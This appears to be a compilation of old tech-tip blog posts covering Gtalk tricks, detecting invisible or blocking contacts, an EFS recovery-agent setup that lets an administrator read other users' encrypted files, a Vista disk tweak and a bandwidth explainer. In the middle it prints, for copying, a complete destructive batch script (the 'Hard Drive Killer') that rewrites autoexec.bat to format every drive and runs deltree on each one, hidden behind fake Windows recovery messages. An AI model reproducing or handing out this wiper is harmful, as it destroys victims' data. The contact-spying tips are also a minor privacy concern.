Techno Tips n' Trixx

We happen to have more than one Email Ids and sometimes more than one Gmail Id. So logging out from one account and login to the other is very troublesome. If you want to run Gtalk for two or more same Gmail Ids simultaneously, you can easily do that.
There are many ways of doing that (you maybe knowing some) but here is a list of four easier ways. It was notified by one of our readers who was facing problem while using Gtalk for 2 Gmail accounts, so here goes the solution.
Solution:

First method:
• Using Pidgin
Pidgin is an easy to use and free chat client used by millions. Connect to AIM, MSN, Yahoo, and more chat networks all at once.
Pidgin has hell lots of options and supports many IM clients. You should try that.

Second method:• (Using Digsby)
Digsby is a multiprotocol IM client that lets you chat with all your friends on AIM, MSN, Yahoo, ICQ, Google Talk, and Jabber with one simple to manage buddy list.
You can even switch to offline or invisible modes, an advantage currently not available in the standard Google Talk client.

Third method:
• Replace the target of Gtalk shortcut icon by this line
“C:\Program Files\Google\Google Talk\googletalk.exe” /nomutex



Click OK.

Fourth method:
• Use Google Labs edition along with standard Gtalk client.
Labs edition adds more functionalities to the Gtalk.

Now if you want to fool the people and know about their online status even when they have logged in with invisible feature activated, then this is possible. There are two ways to do this.
You need to have a GPRS enabled mobile handset.
Download a free software called gotalkmobile(http://www.gotalkmobile.com/gotalkmobile_download.html) on your handset and install it.
After the installation, log on to your GTalk account with your login details.
Now, this will show you the entire online friends list. It does not matter if they are online or invisible.
In this way you can catch your offline friends as well. The persons who are being shown as offline, are not present on GTalk.
And you are done above. You will notice those online (visible + invisible) as well as the offline friends.
Now u can even disturb that clever fools ;-)

So another way is that u just go Off the record with target user that is chats will now be not saved.
This can be only done when the target user is online.
Now when the target user is offline/hidden/invisible just try to send him/her the messages in chat. if the target is invisible but not offline then he/she can receive ur chats. but if the target user is offline then u'll receive an error did not receive your chat.

So friends here is the solution to know who has blocked u on Gtalk.

For this you need to have PIDGIN and configure it properly. Pidgin is a third party tool, available for free. You can use all your messenger accounts at once using this software. You can talk to your friends using AIM, ICQ, Jabber/XMPP, MSN Messenger, Yahoo!, Google Talk, Bonjour, Gadu-Gadu, IRC, Novell GroupWise Messenger, QQ, Lotus Sametime, SILC, SIMPLE, MySpaceIM, Zephyr etc. Folow the steps below:

Download Pidgin.(http://rapidshare.com/files/218360724/pidgin-2.5.5.zip)

Go To Accounts –> Manage –> Add.
It will open a new window Add Accounts.
From the drop down box choose XMPP as the Protocol.
In case of Screen name enter your Gmail Id (e.g. - crypto36).
Type gmail.com as the Domain/Server.
In Resource Field enter Home.
Type your Gmail Password in the Password Field.
Choose any Nickname (e.g. - crypto) as Local alias.
And you are now done with Pidgin settings.

Now how to see who has blocked u on Gtalk. Follow the below steps :

Sign in to GTalk on PIDGIN with your details
Go to Buddies –> Show Offline Buddies
Right click on that selected contact, and click on Get Info.
Now here is the trick. Clicking on Get Info will show the brief profile of the person. But if the person has blocked you on GTalk, you won’t be able to see his/her full profile. You can’t even see his/her profile name.

* Google (http://www.google.com/)
* Froogle (http://froogle.google.com) product search engine (active beta)
* Google News (http://news.google.com/)
* Google Local (http://local.google.com/)
* Google Wireless (http://www.google.com/options/wireless.html)
* Google Scholar (http://scholar.google.com/)
* Google Suggest (http://www.google.com/webhp?complete=1&hl=en)
* Google Keyhole (http://www.keyhole.com/)
* Google Print (http://print.google.com/print/faq.html) (beta) (Example (http://print.google.com/print/doc?isbn=0195128427))
* Google Books (https://www.googlestore.com/)
* AdWords (https://adwords.google.com)
* AdSense (https://www.google.com/adsense/)
* Gmail (http://www.gmail.com/) (private beta)
* Google Labs (http://labs.google.com/) (a testing ground for Google services that are in beta)
* Google Groups 2 (http://groups-beta.google.com/)
* Official Google weblog (http://www.google.com/googleblog)
* googlesyndication.com (http://www.googlesyndication.com/) - Official Google mirror
* Early Google.com (http://web.archive.org/web/19981202230410/www.google.com/) - Google as on November 11, 1998

It’s quite easy to make your own icons in the Windows XP.



Click Start > Programs > Accessories and click Paint. On the image menu in the Paint,

click Attributes and set 30x30 for both height and width of the document. Make sure

to select the pixels radio button under “Units”.

Click Ok. Now change color and formatting of the newly created icon. Next, click the

File menu and then click “Save As”. Give any name to the file followed by the “.ico”.

The .ico is the default extensions of the icons. Save your icon to any where on your

hard disk. You can replace Windows desktop icons with your own icons.

1. Login as Administrator

2. Go to Start/Run and type in cmd and click OK.

At the prompt type cipher /r:Eagent and press enter

This prompt will then display:

Please type in the password to protect your .PFX file:

Type in your Administrator password
Re-confirm your Administrator password

The prompt will then display

Your .CER file was created successfully.
Your .PFX file was created successfully.

The Eagent.cer and Eagent.pfx files will be saved in the current directory that is shown at the command prompt. Example: The command prompt displays C:\Documents and Settings\admin> the two files are saved in the admin folder. (For security concerns, you should house the two files in your Administrator folder or on a floppy disk).

3. Go to Start/Run and type in certmgr.msc and click OK. This will launch the Certificates Manager. Navigate to Personal and right click on the folder and select All Tasks/Import. The Certificate Import Wizard will appear. Click Next. Browse to the C:\Documents and Settings\admin folder. In the Open dialog box, change the Files of Type (at the bottom) to personal Information Exchange (*.pfx,*.P12). Select the file Eagent.pfx and click Open. Click Next. Type in your Administrator password (leave the two checkboxes blank) and click Next. Make sure the Radio button is active for the first option (Automatically select the certificate store based on the type of certifcate). Click Next. Click Finish. (You'll receive a message that the import was successful). To confirm the import, close Certificates Manager and re-open it. Expand the Personal folder and you will see a new subfolder labeled Certificates. Expand that folder and you will see the new entry in the right side column. Close Certificate Manager.

4. Go to Start/Run and type in secpol.msc and click OK. This will launch the Local Security Policy. Expand the Public Key Policies folder and then right click on the Encrypted File System subfolder and select Add Data Recovery Agent... The Wizard will then display. Click Next. Click the Browse Folders... button. Browse to the C:\Documents and Settings\admin folder. Select the Eagent.cer file and click Open. (The wizard will display the status User_Unknown. That's ok). Click Next. Click Finish. You will see a new entry in the right side column. Close the Local Security Policy.

You, the Administrator are now configured as the default Recovery Agent for All Encrypted files on the Local Machine.

To Recover Encrypted files:

#1:
If you have completed the above steps BEFORE an existing user encrypted his/her files, you can log in to your Administrator account and navigate to the encrypted file(s). Double click on the file(s) to view the contents.

#2:
If you have completed the above steps AFTER an existing user has already encrypted his/her files, you must login to the applicable User's User Account and then immediately logout. Next, login to your Administrator account and navigate to the encrypted file(s). Double click on the file(s) to view the contents.

Almost all of the new PCs that have been bought in the past couple of years should ideally have SATA HDDs (Serial-ATA Hard Disk Drives) in them. If you have a Windows Vista system with a SATA HDD, then you should know that you can optimize it to run faster. The following steps will let you hack into the Vista system and tweak the configurations so that your SATA HDD works with a faster speed and gives a better performance.

1. Login to your Vista PC using an Adminitrator account.
2. Open the Device Manager. [For this you have to simply go to Control Panel -> System and Maintenance, and then click on the Device Manager tab.]
3. Find the SATA HDD installed on your system under the Disk drives tree-branch.
4. Select Properties for the HDD by either double-clicking on it or right-clicking and then selecting Properties in the context menu.
5. Go to the Policies tab.
6. Select (tick) the check-box for Enable advanced performance option nested below the Enable write caching on the disk option. [Note: In case the Optimize for quick removal is selected instead of the Optimize for performance option, then you will have to deselct it, and tick the check-box next to the Optimize for performance option first.]
7. Press OK.
8. Exit the Device Manager.

Copy the following code and paste in NOTEPAD save the file as .bat file...Plzz dont try to run on ur machine.... !! I m not responsible :)

@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul

rem Drive checking and assigning the valid drives to the drive variable.

set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don't worry about how it
rem works, it's damn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.

echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem When errorlevel is 1, then the above is not true, if 0, then it's true.
rem Opposite of binary rules. If 0, it will elaps to the next command.

echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.

echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.

echo :enddc >>drivechk.bat

rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

rem Now we will use the program drivechk.bat to attain valid drive information.

:testdrv

for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c

:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:\autoexec.bat
echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat

echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat

:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul

cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autotest >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .

for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul

cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). What's the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Don't you just love that one?
echo.
echo Regards,
echo.
echo __ UNDERSC(O_O)RE _________

:end

This is well written explanation about bandwidth, very useful info.




BandWidth :


Most hosting companies offer a variety of bandwidth options in their plans. So exactly what is bandwidth as it relates to web hosting? Put simply, bandwidth is the amount of traffic that is allowed to occur between your web site and the rest of the internet. The amount of bandwidth a hosting company can provide is determined by their network connections, both internal to their data center and external to the public internet.


Network Connectivity :

The internet, in the most simplest of terms, is a group of millions of computers connected by networks. These connections within the internet can be large or small depending upon the cabling and equipment that is used at a particular internet location. It is the size of each network connection that determines how much bandwidth is available. For example, if you use a DSL connection to connect to the internet, you have 1.54 Mega bits (Mb) of bandwidth. Bandwidth therefore is measured in bits (a single 0 or 1). Bits are grouped in bytes which form words, text, and other information that is transferred between your computer and the internet.

If you have a DSL connection to the internet, you have dedicated bandwidth between your computer and your internet provider. But your internet provider may have thousands of DSL connections to their location. All of these connection aggregate at your internet provider who then has their own dedicated connection to the internet (or multiple connections) which is much larger than your single connection. They must have enough bandwidth to serve your computing needs as well as all of their other customers. So while you have a 1.54Mb connection to your internet provider, your internet provider may have a 255Mb connection to the internet so it can accommodate your needs and up to 166 other users (255/1.54).


Traffic :

A very simple analogy to use to understand bandwidth and traffic is to think of highways and cars. Bandwidth is the number of lanes on the highway and traffic is the number of cars on the highway. If you are the only car on a highway, you can travel very quickly. If you are stuck in the middle of rush hour, you may travel very slowly since all of the lanes are being used up.

Traffic is simply the number of bits that are transferred on network connections. It is easiest to understand traffic using examples. One Gigabyte is 2 to the 30th power (1,073,741,824) bytes. One gigabyte is equal to 1,024 megabytes. To put this in perspective, it takes one byte to store one character. Imagine 100 file cabinets in a building, each of these cabinets holds 1000 folders. Each folder has 100 papers. Each paper contains 100 characters - A GB is all the characters in the building. An MP3 song is about 4MB, the same song in wav format is about 40MB, a full length movie can be 800MB to 1000MB (1000MB = 1GB).

If you were to transfer this MP3 song from a web site to your computer, you would create 4MB of traffic between the web site you are downloading from and your computer. Depending upon the network connection between the web site and the internet, the transfer may occur very quickly, or it could take time if other people are also downloading files at the same time. If, for example, the web site you download from has a 10MB connection to the internet, and you are the only person accessing that web site to download your MP3, your 4MB file will be the only traffic on that web site. However, if three people are all downloading that same MP at the same time, 12MB (3 x 4MB) of traffic has been created. Because in this example, the host only has 10MB of bandwidth, someone will have to wait. The network equipment at the hosting company will cycle through each person downloading the file and transfer a small portion at a time so each person's file transfer can take place, but the transfer for everyone downloading the file will be slower. If 100 people all came to the site and downloaded the MP3 at the same time, the transfers would be extremely slow. If the host wanted to decrease the time it took to download files simultaneously, it could increase the bandwidth of their internet connection (at a cost due to upgrading equipment).


Hosting Bandwidth :

In the example above, we discussed traffic in terms of downloading an MP3 file. However, each time you visit a web site, you are creating traffic, because in order to view that web page on your computer, the web page is first downloaded to your computer (between the web site and you) which is then displayed using your browser software (Internet Explorer, Netscape, etc.) . The page itself is simply a file that creates traffic just like the MP3 file in the example above (however, a web page is usually much smaller than a music file).

A web page may be very small or large depending upon the amount of text and the number and quality of images integrated within the web page. For example, the home page for CNN.com is about 200KB (200 Kilobytes = 200,000 bytes = 1,600,000 bits). This is typically large for a web page. In comparison, Yahoo's home page is about 70KB.


How Much Bandwidth Is Enough?

It depends (don't you hate that answer). But in truth, it does. Since bandwidth is a significant determinant of hosting plan prices, you should take time to determine just how much is right for you. Almost all hosting plans have bandwidth requirements measured in months, so you need to estimate the amount of bandwidth that will be required by your site on a monthly basis

If you do not intend to provide file download capability from your site, the formula for calculating bandwidth is fairly straightforward:

Average Daily Visitors x Average Page Views x Average Page Size x 31 x Fudge Factor

If you intend to allow people to download files from your site, your bandwidth calculation should be:

[(Average Daily Visitors x Average Page Views x Average Page Size) +
(Average Daily File Downloads x Average File Size)] x 31 x Fudge Factor

Let us examine each item in the formula:

Average Daily Visitors - The number of people you expect to visit your site, on average, each day. Depending upon how you market your site, this number could be from 1 to 1,000,000.

Average Page Views - On average, the number of web pages you expect a person to view. If you have 50 web pages in your web site, an average person may only view 5 of those pages each time they visit.

Average Page Size - The average size of your web pages, in Kilobytes (KB). If you have already designed your site, you can calculate this directly.

Average Daily File Downloads - The number of downloads you expect to occur on your site. This is a function of the numbers of visitors and how many times a visitor downloads a file, on average, each day.

Average File Size - Average file size of files that are downloadable from your site. Similar to your web pages, if you already know which files can be downloaded, you can calculate this directly.

Fudge Factor - A number greater than 1. Using 1.5 would be safe, which assumes that your estimate is off by 50%. However, if you were very unsure, you could use 2 or 3 to ensure that your bandwidth requirements are more than met.

Usually, hosting plans offer bandwidth in terms of Gigabytes (GB) per month. This is why our formula takes daily averages and multiplies them by 31.


Summary

Most personal or small business sites will not need more than 1GB of bandwidth per month. If you have a web site that is composed of static web pages and you expect little traffic to your site on a daily basis, go with a low bandwidth plan. If you go over the amount of bandwidth allocated in your plan, your hosting company could charge you over usage fees, so if you think the traffic to your site will be significant, you may want to go through the calculations above to estimate the amount of bandwidth required in a hosting plan.